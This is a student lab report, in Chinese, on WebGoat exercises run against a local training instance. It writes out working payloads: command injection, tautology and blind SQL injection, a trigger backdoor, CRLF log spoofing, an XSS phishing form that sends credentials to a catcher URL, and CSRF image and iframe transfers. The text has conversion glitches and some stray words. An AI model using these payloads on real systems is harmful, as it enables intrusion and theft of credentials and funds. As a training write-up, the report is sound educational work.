2018-2019 2 20165203 《網絡對抗技術》Exp9 Web安全基礎

2018-2019 2 20165203 《網絡對抗技術》Exp9 Web安全基礎

實驗要求

本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。javascript

基礎知識問答

(1)SQL注入攻擊原理,如何防護html

  • SQL注入的原理:就是經過構建特殊的參數傳入web應用程序,而這些輸入大多都是SQL語句語法裏的組合,經過這些組合構造出某些特殊的含義,從而達到攻擊者的攻擊目的,例如在用戶名和密碼框中輸入某些像''--,#等特殊字符,實現將某些語句註釋掉,或是構造永真式,實現登陸的目的。
  • 防護:
    • 在後臺控制限制輸入用戶名的長度或是禁止輸入一些諸如''--或是#的符號。
    • 經過Java語句中的綁定變量進行預防。

(2)XSS攻擊的原理,如何防護前端

  • XSS攻擊原理:攻擊者向Web頁面裏插入一些惡意的html標籤或者javascript代碼,當用戶瀏覽該頁進行某些操做時,攻擊者利用用戶對原網站的信任,誘騙用戶進行一些不安全的操做或向其餘網站進行一些不安全的行爲操做或向網站提交一些私密信息。
  • 防護:
    • 用戶:加強防範意識,不要輕易輸入用戶名、密碼等一些私密信息。
    • 網頁編寫者:在輸入和輸出過程當中進行過濾、轉義等。

(3)CSRF攻擊原理,如何防護java

  • CSRF攻擊原理:CSRF經過假裝成受信任用戶的請求來利用受信任的網站,它的核心本質是竊取用戶的Session,或者說是Cookie,由於目前的主流狀況是Session存在Cookie中,攻擊者並不關心具體的帳戶密碼,由於一旦用戶進行登陸,Session就是惟一憑證,只要攻擊者得到了Session,就能夠僞造被害者進入服務器來攻擊網站了。
  • 防護:
    • 儘可能不要設置記住密碼,避免cookie的出現。
    • 在form表單欄中設置一些祕密信息做爲cookie以外的驗證。
    • 避免全站使用通用的cookie,嚴格控制cookie的域。

實踐過程

準備工做(下載並開啓WebGoat)

WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。

step1 檢查端口:因爲WebGoat是使用8080端口進行工做的,因此使用前,要檢查該端口是否被佔用。git

  • 使用netstat -tupln | grep 8080來檢查端口是否被佔用。
  • 若是被佔用,用kill 進程號終止佔用8080端口的進程。

step2 下載並安裝WebGoat:github

step3 開啓並登陸:web

  • 開啓WebGoat:進入存在剛剛下載的webgoat-container-7.0.1-war-exec.jar包的目錄,輸入java jar webgoat-container-7.0.1-war-exec.jar進行開啓。
    在看到Starting ProtocolHandler ["http-bio-8080"]這一條消息以後就代表開啓成功了。sql

  • 登陸Webgoat:數據庫

    • 瀏覽器中輸入http://localhost:8080/WebGoat,如圖所示,在登陸框下面表格中有兩組用戶名和密碼,能夠直接登陸。

    • 成功登陸後咱們能夠在左側看到各類實踐課程。

SQL注入攻擊

1.命令注入(Command Injection)

原理:在正常的參數提交過程當中添加惡意代碼,以執行某條命令。

目標:能夠在主機上執行任何系統命令。
  • 在左側點擊Injection Flaws -> Command Injection後端

  • 咱們能夠選擇第一個AccessControlMatrix.help,點擊view,看到以下執行結果。

  • 接下來,咱們作一下注入攻擊,但願仍是選擇該選項,增長檢查端口狀態查詢鏈接端口主機的IP地址的功能

  • 右鍵點擊複選框,選擇Inspect Element來審查網頁元素,對源代碼進行修改,咱們能夠在相應選項的末尾後面添加"& netstat -an & ipconfig

  • 隨後,點擊view,咱們能夠看到相應的端口及鏈接端口的主機,攻擊成功。

2. 數字型注入(Numerical SQL Injection)

原理:經過在字段中注入數字型數據(例如永真式),從而達到注入攻擊的效果。

目標:本次實踐中經過注入SQL字符達到查看全部城市的天氣預報的效果。
  • 在左側點擊Injection Flaws -> Numeric SQL Injection

  • 一樣,右側點擊複選框,選擇inspect Element審查元素。此次,咱們但願查詢全部城市的天氣預報,因此,咱們要讓網頁前端傳給後臺的value值爲永真式,才能達到迷惑後臺,查詢全部城市的效果。因此,咱們要在value="101"中的101後面添加or 1=1,使得value值爲 一個永真式。

  • 修改完畢後,咱們點擊Go,出現綠對勾,說明咱們攻擊成功,同時也能夠看到全部城市的天氣。

3. 日誌欺騙(Log Spoofing)

原理:經過在日誌中插入腳本實現欺騙,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。

本次實踐目標:用戶登陸後下方日誌會顯示其在以前的全部行爲,咱們經過日誌欺騙,讓用戶登陸時下方只顯示成功登陸。
  • 在左側點擊Injection Flaws -> Log Spoofing

  • 咱們就以前打開WebGoat時表格上顯示的用戶webgoat進行攻擊。

  • User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回車%0D和空格%0A讓其在日誌中兩行顯示。

  • 隨後,咱們輸入密碼(在以前表格中有)後,點擊Login,能夠看到webgoatLogin Fail那行中顯示,咱們本身添加的語句在下一行中顯示。

  • 此外,攻擊者還能夠向日志文件中添加惡意腳本,腳本文件的返回信息管理員可經過瀏覽器看到。能夠在用戶名中輸入admin <script>alert(document.cookie)</script>,管理員能夠看到彈窗的cookie信息。

4. 字符串型注入(String SQL Injection)

本次實踐目標:基於查詢語句利用字符串型追方式構造本身的SQL,從而達到將全部信用卡信息顯示出來的目的。
  • 在左側點擊Injection Flaws -> String SQL Injection

  • 下面咱們來構造SQL語句,咱們能夠隨便選一個用戶名(這個沒有關係,咱們要注入永真式,用戶名正確與否無關)例如Smith,咱們知道正常的SQL搜索語句爲select * FROM user_data WHERE last_name='Smith',咱們利用'提早閉合'',而且加上or 1=1 --or 1=1是使這段語句變成永真式,--語句是爲了把後面的語句註釋掉。這就造成了select * FROM user_data WHERE last_name='Smith' or 1=1 --

  • 隨後,咱們點擊Go!,結果以下:

5. LAB(SQL Injection)

本次實踐目標:經過使用SQL注入繞事後臺進行攻擊。
  • 咱們想在不知道密碼的狀況下登陸用戶,咱們以前學過字符串注入,咱們能夠注入' or 1=1 --進行登陸。

  • 咦,登陸失敗,咱們在cookie中看一下密碼,發現只有一部分登陸,這應該是後臺裏對密碼的輸入長度有限制,因而,咱們一樣在密碼輸入框處點擊右鍵,選擇inpect Elements,對元素長度進行修改。

  • 接下來從新輸入' or 1=1 --,登陸成功。

6. 數據庫後門(Database Backdoors)

原理:數據庫一般做爲一個 Web 應用程序的後端來使用。此外,它也用來做爲存儲的媒介。 它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另 一個數據庫操做,如 insert, select, update or delete。舉個例子:攻擊者能夠建立一個觸發器, 該觸發器在建立新用戶時,將每一個新用戶的 Email 地址設置爲攻擊者的地址。
  • 咱們的用戶是101,能夠輸入101來查看用戶的信息。

  • 經過界面,咱們能夠看到輸入的語句沒有通過任何驗證,很容易進行SQL注入。

  • 好比,咱們注入一段SQL語句,將101用戶中的salary這一項改成10000,輸入101; update employee set salary=10000,修改爲功。

  • 隨後,咱們設置觸發器,並試圖使其在建立新用戶時將郵箱改成咱們本身的郵箱john@hackme.com,輸入語句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,咱們能夠看到注入成功。

  • 可是因爲WebGoat使用的是MySQL數據庫,並不支持建立觸發器,因此,該攻擊並不能真正意義上實現。

7. 數字型盲注入(Blind Numeric SQL Injection)

原理:某些SQL注入是沒有明確的返回信息的,只能經過條件的「真」和「假」來進行判斷,攻擊者必須充分利用查詢語句來構造子查詢語句。

該題目要求:根據數字型盲注入,查找pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。

方法:該網站只能輸入一個帳號,判斷該帳號是否合法,使用該表單的返回信息(真或假)來測試數據庫中其餘條目的信息。咱們找到了pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。pin字段類型爲整型,輸入找到的數值並提交,經過改題目。
  • 在該題目中,服務端的信息只有兩種:無效或有效,所以咱們並不能簡單地查到賬號的PIN值。儘管如此,咱們一樣能夠利用系統在後臺的查詢語句:SELECT * FROM user_data WHERE userid=accountNumber;,在賬號後面加入AND 查詢語句,若是頁面返回賬號有效,則表明咱們的查詢語句是正確的,若是提示查詢無效,則咱們的查詢語句是錯誤的。

  • 例如,咱們利用賬號101,輸入101 AND 1=1,如圖,頁面返回Account number is valid,由於1=1是永真式,因此,語句的結果是正確的,頁面返回的結果是帳號正確的。

  • 輸入101 AND 1=2,由於1=2是一個結果爲假的表達式,因此,語句的結果是錯誤的,頁面返回的結果是帳號錯誤。

  • 咱們能夠利用這一點進行查詢。

  • 針對AND後面的語句,咱們開始構造SQL的查詢語句。首先,咱們判斷一下pin值是否大於7000,咱們輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );。若是頁面返回賬號有效,則pin值就是大於7000.若是返回賬號無效,則pin值小於或等於7000。由此,咱們能夠利用二分法進行判斷。

  • 通過咱們的判斷,pin值爲2364,在輸入框中輸入2364,提交,正確。

8. 字符串型盲注入(Blind String SQL Injection)

題目要求:到```pins```表中```cc_number```字段值爲4321432143214321的記錄中```pin字段```的數值。```pin字段```類型爲```varchar```。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交。
  • 與上一題目不一樣的是本題目查詢的爲字符串,咱們須要用到Substring()方法,語法爲SUBSTRING(STRING,START,LENGTH)

  • 咱們輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )來獲取pin的第一個字符,並判斷其是否比M小。

  • 一樣,通過二分法的測試,咱們判斷出了pin值爲Jill

XSS攻擊(Cross‐Site Scripting)

XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中,還能夠任意構造用戶當前瀏覽的HTML內容,從而模擬用戶當前的操做。這裏實驗的是一種獲取用戶名和密碼的攻擊。

1. XSS 釣魚(Phishing with XSS)

原理:在XSS的幫助下,咱們能夠實現釣魚工具或向某些其餘官方頁面中增長內容,由於腳本在後臺,受害者很難發現。

題目目標:建立一個form表單,讓受害者填入用戶名和密碼,在後臺中加入腳本,使服務器獲取用戶名和密碼後傳給攻擊者。
  • 首先,咱們寫一個簡單的帶用戶名和密碼輸入框的表格以下:
<form name="justice">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
  • Search框中輸入該代碼,則在下面出現輸入用戶名和密碼的表單。

  • 接下來,咱們編寫一段腳本文件,一旦受害者在表單中輸入用戶名和密碼,則信息會傳給捕獲這些信息的WebGoat
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
    } 
</script>
  • 將這兩段代碼合在一塊兒。
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
    } 
</script>
<form name="justice">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
  • Search框中輸入該代碼,則出現表單。

  • 輸入用戶名和密碼後,咱們能夠看到服務器返回登陸名和密碼。

2. 存儲型XSS攻擊(Stored XSS Attacks)

原理:用戶在表單中輸入一段javascript腳本,這段腳本就會被保存在數據庫中,當任何用戶打開網頁時,腳本就會從數據庫中提取出來運行。

實踐目的:寫入非法消息內容,致使其餘用戶訪問時載入非預期的頁面和內容。
  • 在Message中輸入咱們構造的語句<script>alert("20165203 attack successfully!");</script>,Title能夠任意輸入,在這裏輸入學號5203。提交後,能夠發現咱們剛剛發的帖子5203

  • 點擊這個帖子,就會發現彈出咱們注入的那句話20165203 attack successfully!,攻擊成功。

3. 反射型XSS攻擊(Reflected XSS Attacks)

原理:攻擊者利用一個腳本建立一個URL,受害者一旦點擊它就會受到攻擊。
  • Enter your three digit access code:欄中輸入腳本<script>alert("Hey! You've been attacked!");</script>,點擊Purchase,成功顯示警告框,內容就是咱們在腳本中注入的內容。

CSRF攻擊

跨站請求僞造 (Cross Site Request Forgery)

原理:假裝來自受信任用戶的請求來利用受信任的網站。

目標:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。URL應該指向「攻擊」servlet,其中包含「屏幕」和「菜單」參數,以及一個額外的參數「transferFunds」,其數值爲5000。能夠經過在右側插入的參數中找到「Screen」和「menu」值來構造連接。當通過身份驗證的CSRF電子郵件的收件人將被轉移他們的資金。
  • 查看頁面右側Parameters中的srcmenu值,分別爲319和900。

  • title中輸入任何參數,message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=5000" width="1" height="1" />,該連接將以圖片的形式(寬和高均設爲1是爲了隱藏該圖片)放入Message框,用戶一旦點擊這個圖片,就會觸發一個CSRF事件(轉走用戶的5000元),從而達到攻擊的目的。

繞過 CSRF 確認( CSRF Prompt By‐Pass)

原理:CSRF一般是欺騙用戶加載包含「僞造請求」的連接,從而達到獲取用戶的信息,利用這些信息去執行其餘行爲。可是若是連接有提示,提示「確認」或「取消」,那攻擊就很難完成了。咱們能夠發出另外一個連接,來達到繞過這個提示符的目的。

題目目標:與上一個題目相似,向新聞組發送多個包含惡意請求的連接,第一個連接是請求用於轉移資金的,第二個是用於確認第一個請求觸發的提示符,此次咱們把連接僞形成一個屏幕,屏幕的參數```srceen```和```menu```右邊的```Parameters```已經給出,咱們一個連接經過參數```transferFunds=5000```來傳輸,另外一個連接經過```transferFunds=CONTNETS```來傳輸,假如受害者收到了連接,又剛好點開了這兩個連接經過了身份驗證,則他的資金就會被轉移。```
  • 查看頁面右側的Parameters中的src = 328menu=900.

  • title中輸入消息的名字,在Message中輸入代碼:

<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
  • 點擊Submit,如圖所示,攻擊成功。

實驗感想

本次實踐是在Webgoat上完成的,根據指導,加深了我對SQL注入、XSS和CSRF的理解,正如老師說的那樣,咱們必定要知道本身目前在作什麼操做,目的是什麼,才能更好地理解整個攻擊的脈絡。

本次實驗是最後一次實驗了,雖然因爲本身在學期末忙碌,因此放棄了免考的機會,可是咱們對網絡對抗的探索沒有中止,本身經過本學期的實驗確實加強了自主學習的能力和動手的能力,但願本身好好回顧本學期的知識,在期末考試中考一個好成績。

相關文章
相關標籤/搜索